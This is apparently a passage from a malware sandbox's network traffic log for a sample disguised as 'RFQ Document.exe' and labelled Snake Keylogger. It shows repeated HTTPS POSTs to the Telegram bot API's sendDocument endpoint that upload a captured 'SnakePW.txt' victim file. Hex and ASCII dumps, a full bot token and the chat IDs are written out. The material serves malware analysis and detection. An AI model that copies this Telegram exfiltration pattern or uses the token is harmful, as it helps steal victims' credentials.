2021-09-28 05:58:24 UTC	30	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 31 34 62 33 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c414b3f2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:24 UTC	30	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:24 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:24 UTC	31	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12599,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808704,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.4	50011	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:14 UTC	304	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e1d3c50c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:14 UTC	304	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 64 33 63 35 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e1d3c50cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:14 UTC	304	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:14 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:14 UTC	305	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12780,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.4	50012	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:14 UTC	305	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e1e937af Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:14 UTC	306	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 31 65 39 33 37 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e1e937afContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:14 UTC	306	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:14 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:14 UTC	306	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12781,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.4	50013	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:14 UTC	307	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e20f5e8a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:14 UTC	307	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 30 66 35 65 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e20f5e8aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:14 UTC	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:14 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:14 UTC	308	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12782,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.4	50014	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:14 UTC	308	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e227801e Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:14 UTC	309	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 32 37 38 30 31 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e227801eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:15 UTC	309	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	310	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12783,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808754,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.4	50015	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	310	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e24632ff Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	310	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 34 36 33 32 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e24632ffContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:15 UTC	311	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	311	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12784,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808755,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.4	50016	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	312	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e25baf50 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	312	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 35 62 61 66 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e25baf50Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:15 UTC	312	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	313	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12785,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808755,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.4	50017	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	313	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e27aa8ab Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	314	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 37 61 61 38 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e27aa8abContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
